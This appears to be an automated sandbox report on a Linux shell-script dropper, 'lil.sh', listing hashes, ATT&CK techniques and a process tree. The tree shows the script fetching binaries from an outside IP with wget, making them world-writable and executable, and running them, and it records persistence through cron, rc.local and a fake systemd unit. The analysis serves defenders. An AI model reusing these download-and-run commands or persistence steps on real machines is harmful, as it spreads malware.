426b4376bb5ec406e676bc36a8b7b79b9d731055193c34a64ba0ad941d521d0f

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 12:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 840B
Sample260802-pypr7stapd
SHA256 426b4376bb5ec406e676bc36a8b7b79b9d731055193c34a64ba0ad941d521d0f
MD5 26869cd3e64c67cd34c2db399a38e784
SHA1 dbff9d7d3d3dabe95deec74d2823f732520eed1a
SHA512 34d1dd86fe8970b88e8de661b25d34bc2cccb39435e4dbb8d4cd6f72e685d9bee814cac7c3f286ceb11d69af6fee7bb06d18f36dfc2ad87affdc740f06a56fcb
TLSH
T117015ECAD130981040AAD4AC2AA75095F831C3C3171B0F79BF6CA83DEB88D00F066F90
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
812	chmod
828	chmod
833	chmod
780	chmod
805	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/qjN	782	lil.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	qjN
File opened for modification	/etc/crontab	qjN

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	qjN

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	qjN

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	qjN

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/807/cmdline	qjN
File opened for reading	/proc/853/exe	qjN
File opened for reading	/proc/849/cmdline	qjN
File opened for reading	/proc/857/exe	qjN
File opened for reading	/proc/904/exe	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/591/cmdline	qjN
File opened for reading	/proc/802/exe	qjN
File opened for reading	/proc/810/exe	qjN
File opened for reading	/proc/896/exe	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/783/exe	qjN
File opened for reading	/proc/658/cmdline	qjN
File opened for reading	/proc/854/cmdline	qjN
File opened for reading	/proc/886/exe	qjN
File opened for reading	/proc/890/exe	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/140/exe	qjN
File opened for reading	/proc/2/cmdline	qjN
File opened for reading	/proc/836/exe	qjN
File opened for reading	/proc/875/exe	qjN
File opened for reading	/proc/802/cmdline	qjN
File opened for reading	/proc/838/cmdline	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/786/cmdline	qjN
File opened for reading	/proc/803/exe	qjN
File opened for reading	/proc/908/exe	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/571/exe	qjN
File opened for reading	/proc/638/exe	qjN
File opened for reading	/proc/326/cmdline	qjN
File opened for reading	/proc/571/cmdline	qjN
File opened for reading	/proc/840/exe	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/648/cmdline	qjN
File opened for reading	/proc/844/cmdline	qjN
File opened for reading	/proc/898/exe	qjN
File opened for reading	/proc/4/cmdline	qjN
File opened for reading	/proc/7/cmdline	qjN
File opened for reading	/proc/783/cmdline	qjN
File opened for reading	/proc/822/cmdline	qjN
File opened for reading	/proc/42/cmdline	qjN
File opened for reading	/proc/856/cmdline	qjN
File opened for reading	/proc/898/cmdline	qjN
File opened for reading	/proc/43/cmdline	qjN
File opened for reading	/proc/874/cmdline	qjN
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/591/exe	qjN
File opened for reading	/proc/833/exe	qjN
File opened for reading	/proc/861/cmdline	qjN
File opened for reading	/proc/869/cmdline	qjN
File opened for reading	/proc/904/cmdline	qjN
File opened for reading	/proc/905/cmdline	qjN
File opened for reading	/proc/658/exe	qjN
File opened for reading	/proc/175/exe	qjN
File opened for reading	/proc/26/cmdline	qjN
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/qjN	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:650
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:652
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:657
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/114/exe
  2⤵
  PID:676
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:681
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:685
- /bin/ls
  ls -l /proc/140/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/142/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  PID:689
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:701
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:702
- /bin/ls
  ls -l /proc/231/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/308/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/311/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/322/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/337/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:722
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/571/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/592/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/603/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/643/exe
  2⤵
  PID:741
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  PID:751
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  PID:754
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:758
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:760
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:762
- /bin/rm
  rm -rf qjN
  2⤵
  PID:764
- /usr/bin/wget
  wget http://129.121.110.105/qjN
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 qjN
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/qjN
  ./qjN lilin
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Checks CPU configuration
  - Reads runtime system information
  PID:782
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:802
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:803
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:802
- /bin/rm
  rm -rf 5Cfo
  2⤵
  PID:789
- /usr/bin/wget
  wget http://129.121.110.105/5Cfo
  2⤵
  PID:801
- /bin/chmod
  chmod 777 5Cfo
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/5Cfo
  ./5Cfo lilin
  2⤵
  PID:808
- /bin/rm
  rm -rf Bll
  2⤵
  PID:809
- /usr/bin/wget
  wget http://129.121.110.105/Bll
  2⤵
  PID:810
- /bin/chmod
  chmod 777 Bll
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/Bll
  ./Bll lilin
  2⤵
  PID:818
- /bin/rm
  rm -rf Gmz
  2⤵
  PID:819
- /usr/bin/wget
  wget http://129.121.110.105/Gmz
  2⤵
  PID:826
- /bin/chmod
  chmod 777 Gmz
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/Gmz
  ./Gmz lilin
  2⤵
  PID:829
- /bin/rm
  rm -rf Okf
  2⤵
  PID:830
- /usr/bin/wget
  wget http://129.121.110.105/Okf
  2⤵
  PID:831
- /bin/chmod
  chmod 777 Okf
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/Okf
  ./Okf lilin
  2⤵
  PID:834
- /bin/rm
  rm -rf lil
  2⤵
  PID:835

/bin/systemctl
systemctl enable crond.service
1⤵
- Enumerates kernel/hardware configuration
PID:803

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 31B
SHA256 9a552d835b75fc192dc6feb85f695f405db4472f7219a7dd13b97bc349d39299
MD5 36909c73c387e7bb34e68c80c5310f9f
SHA1 8e76f5f6a91b039a2f1d41d21c6dc600aa5601b7
SHA512 493d279321d7e6ed10c6bf29926c4dace2bc4e8c10441cbf792bcdbf9125d5628411401ac4554924c8a0aa23637497834c27209ea4fa3907635484bcdddf5cf3
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 35B
SHA256 12480ddf267a258715f790a8137c6c5463c518ec989920067ed1136548d36845
MD5 5e1e2e04164ecc9bc39182927afc7991
SHA1 df5a6d19af5bbb3dddd436aa0ee8a087fd8a243b
SHA512 d4542b3e86a9c1cb0ecf7bfb7e3dee0af5f9efdf0a71f793e9b1f897aa0c58c83e528aa953b69a64cb49d90833d03d6121a95e2dd1d438abed7742b49fdea1b3
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 194B
SHA256 5a2a235b20d8c8917320fb36f2a468a152defc28e7079265c56762a0c4e386e5
MD5 ccf0ae4446124ddafa039c531f854729
SHA1 2e825d65406efc670a496a24cfe0d580b170a878
SHA512 f3c65337a4236f4fa382bcd8b05f1f761f2ed9bbeb17eafd4dfed051642cd093cd16273e60ca70dbf1a022a7bae66eb766ec06bc112a647c627e5dcafe7805b7
TLSH
T153C02223992114A08A4F29A2AEAA2B488CA106014ACF92B40BD4282A1DF30E711218AE
MD5 SHA1 SHA512 TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

qjN

Path /tmp/qjN
Size 69KB
SHA256 9301fe401f22805a5eaeb673d89fb482c9015555e32b7b68495aa7cae78a0e6d
MD5 5058fc79c169a2ee6805d4d53658a649
SHA1 d3bc98dcbe0a6555894a371fdb6d68cf099fedd4
SHA512 1891b725105494eef9bf7c75ce5d3cf5d7348cde61ced5c8bdd65cc9d545d254ab5fcafab344312eb730eded49ce76aba63c8f4634d977ac66a966f0193a5eda
SSDEEP 1536:rz/07IzGIaYDS76JlOFuMoZFUWQSpNfRYieZcTnFGEoXs5WL4X:rz/07ISIaYWO5M8FxQafxg8nFGEgscL
TLSH
T1CD63185AB9439F16C2C156BBFF1E4389332763A8D3EA7103DA152F6937CF42A0E26541
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads